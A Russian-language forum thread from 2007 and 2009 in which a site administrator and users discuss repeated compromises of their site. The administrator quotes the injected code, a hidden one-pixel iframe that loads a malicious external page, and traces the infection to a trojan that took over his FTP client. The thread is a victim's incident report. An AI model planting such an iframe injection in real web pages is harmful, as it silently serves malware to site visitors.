Страница 1 из 1

Взлом? Баг?.. Что-то было

Добавлено: 14 май 2007 07:29
Aqua$erg
Сегодня ночью с сайтом произошла "непонятка": Главная страница и Контакты отображали вместо себя нечто, на что ругался Dr.Web и содержали в самом начале кода примерно следующее:
<!-- ~ --><iframe src="http://ammok.com/s/index.php" width=1height=1><!-- ~ -->
После чего вместо Белоострова начинала загружаться страница с указанным адресом.

Поправил, конечно. Но как-то беспокойно на душе стало... Откуда такая напасть? 8O

Добавлено: 14 май 2007 07:41
Aqua$erg
О, а только что подобная беда произошла и с Форумом 8O
Кто-то ломает...

Добавлено: 14 май 2007 09:13
Владимир
Файл index.php у форума уже вчера не работал и пустоту возвращал. А viewtopic.php показывал всё, как надо. У меня вопрос, а на что антивирус ругался, у меня НОД слова не сказал.

Добавлено: 14 май 2007 16:34
Roman
У меня aнтивирус пoкaзывaл вoт эту штуку: EXP/VML-Fill.A

Добавлено: 14 май 2007 19:56
Aqua$erg
Я со страху не заметил - на что именно ругался антивирус. Похоже, что кто-то "автоматом" прошерстил все индексные файлы в директориях, снабдив их подобным дополнением скрипта.

Добавлено: 14 май 2007 20:49
Aqua$erg
Та-а-ак-с...
Проверил все мои (под моей поддержкой) сайты на ПетерХосте - все они поражены подобным вирусом (во всяком случае, все индексные файлы).
Написал письмо в саппорт. Жду ответа :evil:

Добавлено: 14 май 2007 23:30
Aqua$erg
У меня, кстати, антивирус ругался (проверил по другим сайтам) на некую дрянь
VBS.Psyme.262
Ссылалась она на один и тот же сайт http://ammok.com/s/index.php (не советую туда ходить - вдруг там "бяка"...)

Добавлено: 14 май 2007 23:38
Roman
Схoдил! Тaм действительнo бякa! :evil:

Добавлено: 16 май 2007 21:04
AndreyG
phpBB - очень распространенный форум - в этом его сила и слабость. Слабость в том - что его очень любят ломать, а через него и сайт, и знают его дыры. В более новых версиях форума многое исправляется, но, как я понимаю, и находится новое.

Добавлено: 16 май 2007 22:01
Aqua$erg
Нет, я разобрался в причине. Дело было не в уязвимости форума - он у меня как раз относительно неплохо защищён.
Оказалось, виноват был хитрый троян, которого я где-то словил - он влез в моего фтп-клиента, и пошло-поехало... Все сайты, которые были у меня в списке - порушились. Заразились все индексные файлы во всех директориях

Добавлено: 04 апр 2009 17:19
delazar
Уже пару дней не грузится форум ни с внешних ссылок, ни с внутренних - выдается пустая страница. Подфорумы, темы и все остальное работает вроде нормально. А как у вас?

Добавлено: 04 апр 2009 18:02
stepan
У меня то же самое. Пустая страница. До сих пор так

Добавлено: 04 апр 2009 19:18
Буквоед
stepan писал(а):У меня то же самое. Пустая страница. До сих пор так
Аналогичная картина :cry:

Добавлено: 04 апр 2009 22:57
raevsku
delazar писал(а):Уже пару дней не грузится форум ни с внешних ссылок, ни с внутренних - выдается пустая страница. Подфорумы, темы и все остальное работает вроде нормально. А как у вас?
Есть подобный "косяк". Враги форума не спят. :roll:

Добавлено: 05 апр 2009 00:08
Aqua$erg
А как вы все умудрились написать об этом???

Добавлено: 05 апр 2009 00:23
raevsku
Aqua$erg писал(а):А как вы все умудрились написать об этом???
Главная - Новости форума - Взлом? Баг? И пишем по маленьку! :)

Добавлено: 05 апр 2009 19:04
Aqua$erg
Так-с... Починил, вроде. Был взлом сайта. Опять - как и в первом сообщении в этой ветке.
Но я по забывчивости потёр все аватары, так что прошу залить по новой.

Добавлено: 05 апр 2009 23:05
Aqua$erg
Чёрт... Только всё починил - опять то же самое!
Пришлось сменить пароль доступа к сайту. Надеюсь, поможет

Добавлено: 05 апр 2009 23:10
delazar
Вроде, мы победили (тук-тук-тук!).

Добавлено: 05 апр 2009 23:13
Aqua$erg
Пока что пью шампанское в честь победы, но подождём пару дней (может, и пару часов)...

Добавлено: 05 апр 2009 23:21
Буквоед
Aqua$erg писал(а):Пока что пью шампанское в честь победы, но подождём пару дней (может, и пару часов)...
Как говорится, дай Бог :)
P.S. Или я плохо не понял, или у Вас часы не переведены на летнее? Цитируемый пост пришел в 00:13, а показано 11:13

Добавлено: 05 апр 2009 23:27
Aqua$erg
Спасибо, что напомнили. Вручную нужно переводить в настройках, а я и забыл... Правда, вижу - без редактирования этого момента в личном профайле это бесполезно. Так что, и у себя в профайле поправьте.